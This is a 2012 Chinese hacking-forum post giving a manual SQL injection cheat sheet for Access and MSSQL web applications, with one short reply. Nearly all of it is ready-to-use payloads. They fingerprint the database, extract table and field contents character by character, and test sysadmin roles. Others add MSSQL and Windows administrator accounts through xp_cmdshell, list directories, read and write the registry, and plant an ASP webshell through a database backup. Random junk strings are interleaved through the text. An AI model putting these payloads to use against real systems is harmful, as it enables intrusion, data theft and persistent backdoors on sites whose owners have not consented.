找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2307|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 ( B$ |% M8 C- _" {- _: T8 _
1.判断是否有注入;and 1=1 ;and 1=2
; c/ L9 m% s7 Y1 y/ R" D5 Z9 T
3 K( W9 S: A+ h  O! |7 `2.初步判断是否是mssql ;and user>0
" M* O1 @# v9 k0 W1 E3 a4 c, A7 i0 F) m5 |) [- o
3.注入参数是字符'and [查询条件] and ''='
( n! U: u* B$ o0 R0 e7 L+ b+ X# d; ^
4.搜索时没过滤参数的'and [查询条件] and '%25'=' $ g) O% x# R/ P3 w

$ }6 W& g+ p1 B* L1 G8 b5.判断数据库系统
- C/ a, c4 C  I+ |;and (select count(*) from sysobjects)>0 mssql + [$ d- w' K9 _0 u# K2 i
;and (select count(*) from msysobjects)>0 access 1 U7 S5 @4 F( K  _8 X, X7 i

( `1 \  a1 @$ L% H4 T# L6.猜数据库 ;and (select Count(*) from [数据库名])>0 - F6 q2 p9 M- v! b

7 v6 k, F4 J( b, z  G) ?7.猜字段 ;and (select Count(字段名) from 数据库名)>0
3 v8 \; Q( x  j6 A% C- W) d; E: G- V) l/ a4 S, V* z
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 : j$ P" M- N! ], u0 y6 H$ R; L& q
2 a; z% \: ?2 H
9.(1)猜字段的ascii值(access) ) B8 B( [$ {8 Z" w; G
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
; V) O! g' Y; N/ l% @: U$ u/ V! p$ s" O. d
(2)猜字段的ascii值(mssql) $ x2 Z# A* F+ O" z1 U/ I6 ~  `
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
0 ?! |( N' z" \2 c/ R, ]+ r
1 b. H% I3 F  U# E10.测试权限结构(mssql)
7 R% `( a) n0 O1 p9 b; ?+ N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 n8 y: a$ n' ?5 Z;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
, M5 N$ R! l6 w0 ^% j;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
8 p8 C( N9 {# [: s7 r;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $ v, K9 N" `- H9 h7 ~1 y' y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. t) t1 S# u/ X2 S# m;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
! O! [" r) q2 r9 P1 R) L, p;and 1=(select IS_MEMBER('db_owner'));--
1 X# G+ c& i3 q& G7 k. X7 T- ^2 C8 q/ u: m( L& r* u% x# C$ S# u  g
11.添加mssql和系统的帐户 # [6 S/ _" A, H& ~
;exec master.dbo.sp_addlogin username;--
% A! c! g' k. e* p  i+ {0 q& G3 _
;exec master.dbo.sp_password null,username,password;--
  t2 B+ v9 w: z; Y6 J) B" z, T. |  c" a) ]
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - N! y7 O3 Z0 c5 \$ c0 l& u) @
) z3 X2 r, X* E1 A. q. v
;exec master.dbo.xp_cmdshell 'net user username password ) n& X6 D# Q$ N+ j
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- / q: d$ K1 s8 _) s8 U. K

  j, @& a& j7 f! x;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 _2 o' J3 A4 b. w7 r2 a, t% h

/ z! a7 X3 }& }! X;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- " S6 d2 Z/ M# A
6 p0 L0 p& Z  T/ b* ]% U/ x, v; Y: Z( k- d
12.(1)遍历目录 4 G& C5 O0 W0 D& T! L5 E7 H7 X# b
6 ^; k4 \) Q& \8 O* z: `6 N
;create table dirs(paths varchar(100), id int) . Q: D) p) S# i/ _
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1 x! f9 u) U% M7 e& e2 H
;and (select top 1 paths from dirs)>0
* x8 M8 l# M1 ]) h4 J;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
6 G: C. T" t/ N7 B3 E& }
/ a/ J9 r" r4 {) r  ^- M: H(2)遍历目录 ' U% T# K' r7 x4 Q8 y& h& X
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ f7 `, d! ~) |- Q; N& g
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
+ Y0 n! w; R, Q- [) i;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
3 i2 D+ m% h2 X* D6 T;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
" f2 S: `% e5 O+ w/ g" H;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
& m& Q. B) A2 p2 X9 |. t5 q2 a* L" r
8 ?2 {4 }9 U3 o$ J7 W13.mssql中的存储过程
9 t% P& m' J" E5 ~: {( P! H4 K8 V8 L1 [/ |: s5 R) R2 O) u
xp_regenumvalues 注册表根键, 子键
5 ^* T" R  y# |7 M;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
% j! B# r. C2 {' f( @0 U! \7 ^- }% ?3 @8 `  x. @! g: s
xp_regread 根键,子键,键值名
; d! X0 o- J2 K! m& U3 M1 M# T;exec xp_regread
. F' o6 `( o- K  g) x# g( k9 l'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. P# _" n  J  q1 h
& Q- b5 B7 D5 H3 K, T8 hxp_regwrite 根键,子键, 值名, 值类型, 值   c7 h; Q2 V4 X; t: Q% m: M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 . }0 F) _/ o% G8 \: a  X  h: c
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
% r- L& m' m" ]/ c# _2 E; O
; z4 ^' I9 A5 J1 dxp_regdeletevalue 根键,子键,值名
9 R) a3 c7 _2 p) s  ^$ y: o
8 t! G$ V" J9 ]% [  yexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ) K) u1 y& m' }6 I( p+ C% X

- t4 W/ g  l1 H* D1 A' C: h+ A. ~! Z% Zxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 W5 P, M, f( k: y
( K  b9 U) V- z, }8 C8 {9 S
14.mssql的backup创建webshell
2 S1 U7 e  |9 k8 U& d3 d' Zuse model   {# z2 o; b: z* P  x- e
create table cmd(str image); ! e* @# M! P6 g- P* ^
insert into cmd(str) values ('');
4 x3 M2 G8 d: L4 K( C9 d1 w6 rbackup database model to disk='c:\l.asp';
, s& b( ~$ [+ E. L5 K" Z( e/ C- _
15.mssql内置函数 2 N; E+ Q7 ~  D7 }* Q2 ~
;and (select @@version)>0 获得Windows的版本号
1 F/ {" Y" q2 q: x$ m;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 t2 Z* U; O( J" k' }5 D6 k+ ~
;and (select user_name())>0 爆当前系统的连接用户 ' [" z+ ~! V# `
;and (select db_name())>0 得到当前连接的数据库 $ h' N. T$ P9 N# F- T5 M
. x5 {6 ?$ q% p$ M4 H6 k
16.简洁的webshell
" j- W# d# c6 v) q
9 @# A& I( `. h( P, r9 d8 ^9 kuse model / s9 y) q% G- x/ S

5 G/ \+ j6 k; _6 ^create table cmd(str image);
0 p  W: x$ q( Z% K
, _$ s$ @; G/ c  ]4 [9 Q% Xinsert into cmd(str) values (''); ; X2 P+ t$ x0 D( l% \

+ D. Y9 W$ S% k9 E" Q2 n5 D9 Xbackup database model to disk='g:\wwwtest\l.asp';
" ^6 |& o  Q: O
1 E% n& H: A5 z# D9 y
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表